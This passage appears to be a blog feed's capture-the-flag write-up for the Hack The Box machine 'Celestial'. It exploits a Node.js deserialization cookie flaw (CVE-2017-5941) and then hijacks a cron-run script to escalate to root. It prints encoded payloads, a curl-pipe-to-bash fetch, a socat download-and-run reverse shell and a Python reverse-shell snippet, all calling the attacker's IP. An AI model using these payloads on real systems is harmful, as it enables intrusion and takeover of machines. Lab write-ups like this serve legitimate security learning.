&lt;p&gt;&lt;img src=&quot;/assets/images/htb/celestial/5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb/celestial/6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can now very easily change our poc to give us a reverse shell in a variety of ways. For example the following payload will download + execute a socat reverse shell.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;contents of socat.sh&lt;/em&gt;&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;
wget -q http://10.10.15.10:9999/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat &lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt;:&lt;span class=&quot;s1&quot;&gt;'bash -li'&lt;/span&gt;,pty,stderr,setsid,sigint,sane tcp:10.10.15.10:8181
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;using node_shell.py to create payload&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/celestial# python node_shell.py -c &quot;curl http://10.10.15.10/socat.sh | bash&quot; -o -e

    =======&amp;gt; Happy hacking &amp;lt;======


    {&quot;run&quot;: &quot;_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,32,32,32,32,32,32,32,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,117,114,108,32,104,116,116,112,58,47,47,49,48,46,49,48,46,49,53,46,49,48,47,115,111,99,97,116,46,115,104,32,124,32,98,97,115,104,39,44,32,102,117,110,99,116,105,111,110,40,101,114,114,111,114,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,101,114,114,111,114,41,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,115,116,100,111,117,116,41,10,32,32,32,32,32,32,32,32,125,41,10,32,32,32,32,32,32,32,32))}()&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;base64 encoding payload&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/celestial# echo -n '{&quot;run&quot;: &quot;_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,32,32,32,32,32,32,32,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,117,114,108,32,104,116,116,112,58,47,47,49,48,46,49,48,46,49,53,46,49,48,47,115,111,99,97,116,46,115,104,32,124,32,98,97,115,104,39,44,32,102,117,110,99,116,105,111,110,40,101,114,114,111,114,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,101,114,114,111,114,41,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,115,116,100,111,117,116,41,10,32,32,32,32,32,32,32,32,125,41,10,32,32,32,32,32,32,32,32))}()&quot;}' | base64 | tr -d '\n'
eyJydW4iOiAiXyQkTkRfRlVOQyQkX2Z1bmN0aW9uICgpe2V2YWwoU3RyaW5nLmZyb21DaGFyQ29kZSgxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTQsMTAxLDExMywxMTcsMTA1LDExNCwxMDEsNDAsMzksOTksMTA0LDEwNSwxMDgsMTAwLDk1LDExMiwxMTQsMTExLDk5LDEwMSwxMTUsMTE1LDM5LDQxLDQ2LDEwMSwxMjAsMTAxLDk5LDQwLDM5LDk5LDExNywxMTQsMTA4LDMyLDEwNCwxMTYsMTE2LDExMiw1OCw0Nyw0Nyw0OSw0OCw0Niw0OSw0OCw0Niw0OSw1Myw0Niw0OSw0OCw0NywxMTUsMTExLDk5LDk3LDExNiw0NiwxMTUsMTA0LDMyLDEyNCwzMiw5OCw5NywxMTUsMTA0LDM5LDQ0LDMyLDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCwxMDEsMTE0LDExNCwxMTEsMTE0LDQ0LDMyLDExNSwxMTYsMTAwLDExMSwxMTcsMTE2LDQ0LDMyLDExNSwxMTYsMTAwLDEwMSwxMTQsMTE0LDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiw5OSwxMTEsMTEwLDExNSwxMTEsMTA4LDEwMSw0NiwxMDgsMTExLDEwMyw0MCwxMDEsMTE0LDExNCwxMTEsMTE0LDQxLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDExMSwxMTAsMTE1LDExMSwxMDgsMTAxLDQ2LDEwOCwxMTEsMTAzLDQwLDExNSwxMTYsMTAwLDExMSwxMTcsMTE2LDQxLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDEyNSw0MSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMikpfSgpIn0=
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;getting shell&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/celestial# socat file:`tty`,raw,echo=0 tcp-listen:8181
sun@sun:~$ id
uid=1000(sun) gid=1000(sun) groups=1000(sun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
sun@sun:~$ uname -a
Linux sun 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
sun@sun:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h2 id=&quot;privilege-escalation&quot;&gt;Privilege Escalation&lt;/h2&gt;
&lt;p&gt;While getting the &lt;code class=&quot;highlighter-rouge&quot;&gt;user.txt&lt;/code&gt; flag we can observe a strange python file called &lt;code class=&quot;highlighter-rouge&quot;&gt;script.py&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sun@sun:~/Documents$ ls -la 
total 16
drwxr-xr-x  2 sun sun 4096 Mar  4 15:08 .
drwxr-xr-x 21 sun sun 4096 Aug 24 15:29 ..
-rw-rw-r--  1 sun sun   29 Sep 21  2017 script.py
-rw-rw-r--  1 sun sun   33 Sep 21  2017 user.txt
sun@sun:~/Documents$ cat script.py 
print &quot;Script is running...&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Going up a directory we can observe that there is a text file named &lt;code class=&quot;highlighter-rouge&quot;&gt;output.txt&lt;/code&gt; owned by root that contains the exact same text as the python script.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sun@sun:~$ ls -l
total 56
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Desktop
drwxr-xr-x  2 sun  sun  4096 Mar  4 15:08 Documents
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Downloads
-rw-r--r--  1 sun  sun  8980 Sep 19  2017 examples.desktop
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Music
drwxr-xr-x 47 root root 4096 Sep 19  2017 node_modules
-rw-r--r--  1 root root   21 Mar  4 15:40 output.txt
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Pictures
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Public
-rw-rw-r--  1 sun  sun   870 Sep 20  2017 server.js
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Templates
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Videos
sun@sun:~$ cat output.txt
Script is running...
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;It appears that that every 5 minutes it looks like the root user is running whatever is in &lt;code class=&quot;highlighter-rouge&quot;&gt;script.py&lt;/code&gt;. Since we permissions to modify the &lt;code class=&quot;highlighter-rouge&quot;&gt;script.py&lt;/code&gt; I added the following content:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Script is running...&quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;hey test&quot;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;subprocess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;os&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AF_INET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SOCK_STREAM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;10.10.15.10&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8282&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dup2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fileno&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; 
&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dup2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fileno&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dup2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fileno&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;subprocess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/bin/sh&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-i&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Now all we have to do is just wait for root to run our script, which should give us a reverse (root) shell…&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sun@sun:~/Documents$ cat script.py
print &quot;Script is running...&quot;
print &quot;hey test&quot;
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((&quot;10.10.15.10&quot;,8282));os.dup2(s.fileno(),0) 
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;])
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Sure enough, we are delivered a fresh root shell after 5 minutes…&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/celestial# nc -lnvp 8282
listening on [any] 8282 ...
connect to [10.10.15.10] from (UNKNOWN) [10.10.10.85] 42792
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# uname -a 
Linux sun 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
# cat /root/root.txt 
ba1d0...[snip]...
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Looking at root’s crontab we can see how it was happening&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# crontab -l
# Edit this file to introduce tasks to be run by cron.
...[snip]....
# 
# m h  dom mon dow   command
*/5 * * * * python /home/sun/Documents/script.py &amp;gt; /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d &quot;$(date -R -r /home/sun/Documents/user.txt)&quot; /home/sun/Documents/script.py
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;</content><author><name>A Medic (@OnlyaMedic)</name></author><category term="writeup" /><category term="pentesting" /><category term="hackthebox" /><summary type="html">Introduction Celestial was an interesting but very straight forward box. I personally believe Celestial was a good HTB box for learning how to perform quick research to tackle a specific vulnerability in an application that you may not encounter often. As one of the first boxes I completed when I first joined HTB it’s sad to see it go. Tools Used Nmap BurpSuite socat Enumeration Initial Scanning Like with every HTB machine, lets begin with an nmap scan against Celestial (10.10.10.85) root@dastinia:~/htb/celestial# nmap -sV -sC -v -Pn --max-rate 500 10.10.10.85 -oA nmap/celestial_initial_scan Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-22 18:45 EDT ...[snip]... Host is up (0.15s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 3000/tcp open http Node.js Express framework | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Site doesn't have a title (text/html; charset=utf-8). NSE: Script Post-scanning. Initiating NSE at 18:45 Completed NSE at 18:45, 0.00s elapsed Initiating NSE at 18:45 Completed NSE at 18:45, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 23.90 seconds Raw packets sent: 1127 (49.588KB) | Rcvd: 1109 (44.364KB) After allowing a full port scan to run in the background, we discover that only port 3000 is open externally on the box. Enumerating NodeJS - Port 3000 Visiting the nodejs application on port 3000 in a browser brings us to the following page stating that 2 + 2 is 22. Attempting to enumerate the service with gobuster revealed no actionable results. root@dastinia:~/htb/celestial# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.85:3000 -x php,html -s 200,204,301,302,307,403 -t 100 | tee gobuster_celestial Gobuster v1.4.1 OJ Reeves (@TheColonial) ===================================================== ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.85:3000/ [+] Threads : 100 [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes : 307,403,200,204,301,302 [+] Extensions : .php,.html ===================================================== Inspecting the request in burp we can observe a cookie being set by the server with the key profile. This stands out because from the cookie string this is likely base64 encoded json data which we can tell by the following indicator _ey_, and that the data is most likely url encoded as well by the %3D%3D, which is the url-encoded version of == at the end of the cookie string. Using Burp Suite’s Decoder module, we first URL decode the original string, then base64 decode the resultant data to get our original json object. {&quot;username&quot;:&quot;Dummy&quot;,&quot;country&quot;:&quot;Idk Probably Somewhere Dumb&quot;,&quot;city&quot;:&quot;Lametown&quot;,&quot;num&quot;:&quot;2&quot;} After some googling for “NodeJS” vulnerabilities, you will come across the following articles for CVE-2017-5941 a NodeJS deserialization vulnerability. To sum up the vulnerability - the http cookie value is passed to an unserialze() function, and since we (the attacker) have control over the cookie, we can craft a payload that will exploit the vulnerability. References: 1 - 2 - 3 - 4 Exploitation Using the following tool: Node_Shell we can craft a payload to exploit this de-serialization vulnerability. Lets first create a small test payload to validate that this is an exploitable vulnerability… root@dastinia:~/htb/celestial# python node_shell.py -c &quot;curl http://10.10.15.10/hello&quot; -o -e =======&amp;gt; Happy hacking &amp;lt;====== {&quot;run&quot;: &quot;_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,32,32,32,32,32,32,32,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,117,114,108,32,104,116,116,112,58,47,47,49,48,46,49,48,46,49,53,46,49,48,47,104,101,108,108,111,39,44,32,102,117,110,99,116,105,111,110,40,101,114,114,111,114,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,101,114,114,111,114,41,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,115,116,100,111,117,116,41,10,32,32,32,32,32,32,32,32,125,41,10,32,32,32,32,32,32,32,32))}()&quot;} We will take the take the json object, and base64 encode it. root@dastinia:~/htb/celestial# echo -n '{&quot;run&quot;: &quot;_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,32,32,32,32,32,32,32,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,117,114,108,32,104,116,116,112,58,47,47,49,48,46,49,48,46,49,53,46,49,48,47,104,101,108,108,111,39,44,32,102,117,110,99,116,105,111,110,40,101,114,114,111,114,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,101,114,114,111,114,41,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,115,116,100,111,117,116,41,10,32,32,32,32,32,32,32,32,125,41,10,32,32,32,32,32,32,32,32))}()&quot;}' | base64 eyJydW4iOiAiXyQkTkRfRlVOQyQkX2Z1bmN0aW9uICgpe2V2YWwoU3RyaW5nLmZyb21DaGFyQ29k ZSgxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTQsMTAxLDExMywxMTcsMTA1LDExNCwxMDEs NDAsMzksOTksMTA0LDEwNSwxMDgsMTAwLDk1LDExMiwxMTQsMTExLDk5LDEwMSwxMTUsMTE1LDM5 LDQxLDQ2LDEwMSwxMjAsMTAxLDk5LDQwLDM5LDk5LDExNywxMTQsMTA4LDMyLDEwNCwxMTYsMTE2 LDExMiw1OCw0Nyw0Nyw0OSw0OCw0Niw0OSw0OCw0Niw0OSw1Myw0Niw0OSw0OCw0NywxMDQsMTAx LDEwOCwxMDgsMTExLDM5LDQ0LDMyLDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCwx MDEsMTE0LDExNCwxMTEsMTE0LDQ0LDMyLDExNSwxMTYsMTAwLDExMSwxMTcsMTE2LDQ0LDMyLDEx NSwxMTYsMTAwLDEwMSwxMTQsMTE0LDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwz MiwzMiwzMiwzMiwzMiw5OSwxMTEsMTEwLDExNSwxMTEsMTA4LDEwMSw0NiwxMDgsMTExLDEwMyw0 MCwxMDEsMTE0LDExNCwxMTEsMTE0LDQxLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMy LDMyLDMyLDk5LDExMSwxMTAsMTE1LDExMSwxMDgsMTAxLDQ2LDEwOCwxMTEsMTAzLDQwLDExNSwx MTYsMTAwLDExMSwxMTcsMTE2LDQxLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDEyNSw0MSwx MCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMikpfSgpIn0= Now all we have to do is intercept a request, while setting the profile cookie, remembering to urlencode any = characters we have with %3D Doing so results in successful code execution. We can now very easily change our poc to give us a reverse shell in a variety of ways. For example the following payload will download + execute a socat reverse shell. contents of socat.sh #!/usr/bin/env bash wget -q http://10.10.15.10:9999/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.15.10:8181 using node_shell.py to create payload root@dastinia:~/htb/celestial# python node_shell.py -c &quot;curl http://10.10.15.10/socat.sh | bash&quot; -o -e =======&amp;gt; Happy hacking &amp;lt;====== {&quot;run&quot;: &quot;_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,32,32,32,32,32,32,32,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,117,114,108,32,104,116,116,112,58,47,47,49,48,46,49,48,46,49,53,46,49,48,47,115,111,99,97,116,46,115,104,32,124,32,98,97,115,104,39,44,32,102,117,110,99,116,105,111,110,40,101,114,114,111,114,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,101,114,114,111,114,41,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,115,116,100,111,117,116,41,10,32,32,32,32,32,32,32,32,125,41,10,32,32,32,32,32,32,32,32))}()&quot;} base64 encoding payload root@dastinia:~/htb/celestial# echo -n '{&quot;run&quot;: &quot;_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,32,32,32,32,32,32,32,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,117,114,108,32,104,116,116,112,58,47,47,49,48,46,49,48,46,49,53,46,49,48,47,115,111,99,97,116,46,115,104,32,124,32,98,97,115,104,39,44,32,102,117,110,99,116,105,111,110,40,101,114,114,111,114,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,101,114,114,111,114,41,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,115,116,100,111,117,116,41,10,32,32,32,32,32,32,32,32,125,41,10,32,32,32,32,32,32,32,32))}()&quot;}' | base64 | tr -d '\n' eyJydW4iOiAiXyQkTkRfRlVOQyQkX2Z1bmN0aW9uICgpe2V2YWwoU3RyaW5nLmZyb21DaGFyQ29kZSgxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTQsMTAxLDExMywxMTcsMTA1LDExNCwxMDEsNDAsMzksOTksMTA0LDEwNSwxMDgsMTAwLDk1LDExMiwxMTQsMTExLDk5LDEwMSwxMTUsMTE1LDM5LDQxLDQ2LDEwMSwxMjAsMTAxLDk5LDQwLDM5LDk5LDExNywxMTQsMTA4LDMyLDEwNCwxMTYsMTE2LDExMiw1OCw0Nyw0Nyw0OSw0OCw0Niw0OSw0OCw0Niw0OSw1Myw0Niw0OSw0OCw0NywxMTUsMTExLDk5LDk3LDExNiw0NiwxMTUsMTA0LDMyLDEyNCwzMiw5OCw5NywxMTUsMTA0LDM5LDQ0LDMyLDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCwxMDEsMTE0LDExNCwxMTEsMTE0LDQ0LDMyLDExNSwxMTYsMTAwLDExMSwxMTcsMTE2LDQ0LDMyLDExNSwxMTYsMTAwLDEwMSwxMTQsMTE0LDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiw5OSwxMTEsMTEwLDExNSwxMTEsMTA4LDEwMSw0NiwxMDgsMTExLDEwMyw0MCwxMDEsMTE0LDExNCwxMTEsMTE0LDQxLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDExMSwxMTAsMTE1LDExMSwxMDgsMTAxLDQ2LDEwOCwxMTEsMTAzLDQwLDExNSwxMTYsMTAwLDExMSwxMTcsMTE2LDQxLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDEyNSw0MSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMikpfSgpIn0= getting shell root@dastinia:~/htb/celestial# socat file:`tty`,raw,echo=0 tcp-listen:8181 sun@sun:~$ id uid=1000(sun) gid=1000(sun) groups=1000(sun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) sun@sun:~$ uname -a Linux sun 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux sun@sun:~$ Privilege Escalation While getting the user.txt flag we can observe a strange python file called script.py sun@sun:~/Documents$ ls -la total 16 drwxr-xr-x 2 sun sun 4096 Mar 4 15:08 . drwxr-xr-x 21 sun sun 4096 Aug 24 15:29 .. -rw-rw-r-- 1 sun sun 29 Sep 21 2017 script.py -rw-rw-r-- 1 sun sun 33 Sep 21 2017 user.txt sun@sun:~/Documents$ cat script.py print &quot;Script is running...&quot; Going up a directory we can observe that there is a text file named output.txt owned by root that contains the exact same text as the python script. sun@sun:~$ ls -l total 56 drwxr-xr-x 2 sun sun 4096 Sep 19 2017 Desktop drwxr-xr-x 2 sun sun 4096 Mar 4 15:08 Documents drwxr-xr-x 2 sun sun 4096 Sep 19 2017 Downloads -rw-r--r-- 1 sun sun 8980 Sep 19 2017 examples.desktop drwxr-xr-x 2 sun sun 4096 Sep 19 2017 Music drwxr-xr-x 47 root root 4096 Sep 19 2017 node_modules -rw-r--r-- 1 root root 21 Mar 4 15:40 output.txt drwxr-xr-x 2 sun sun 4096 Sep 19 2017 Pictures drwxr-xr-x 2 sun sun 4096 Sep 19 2017 Public -rw-rw-r-- 1 sun sun 870 Sep 20 2017 server.js drwxr-xr-x 2 sun sun 4096 Sep 19 2017 Templates drwxr-xr-x 2 sun sun 4096 Sep 19 2017 Videos sun@sun:~$ cat output.txt Script is running... It appears that that every 5 minutes it looks like the root user is running whatever is in script.py. Since we permissions to modify the script.py I added the following content: print &quot;Script is running...&quot; print &quot;hey test&quot; import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((&quot;10.10.15.10&quot;,8282));os.dup2(s.fileno(),0) os.dup2(s.fileno(),1); os.dup2(s.fileno(),2) p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]) Now all we have to do is just wait for root to run our script, which should give us a reverse (root) shell… sun@sun:~/Documents$ cat script.py print &quot;Script is running...&quot; print &quot;hey test&quot; import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((&quot;10.10.15.10&quot;,8282));os.dup2(s.fileno(),0) os.dup2(s.fileno(),1); os.dup2(s.fileno(),2) p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]) Sure enough, we are delivered a fresh root shell after 5 minutes… root@dastinia:~/htb/celestial# nc -lnvp 8282 listening on [any] 8282 ... connect to [10.10.15.10] from (UNKNOWN) [10.10.10.85] 42792 /bin/sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root) # uname -a Linux sun 4.4.0-31-generic #50-Ubuntu SMP Wed 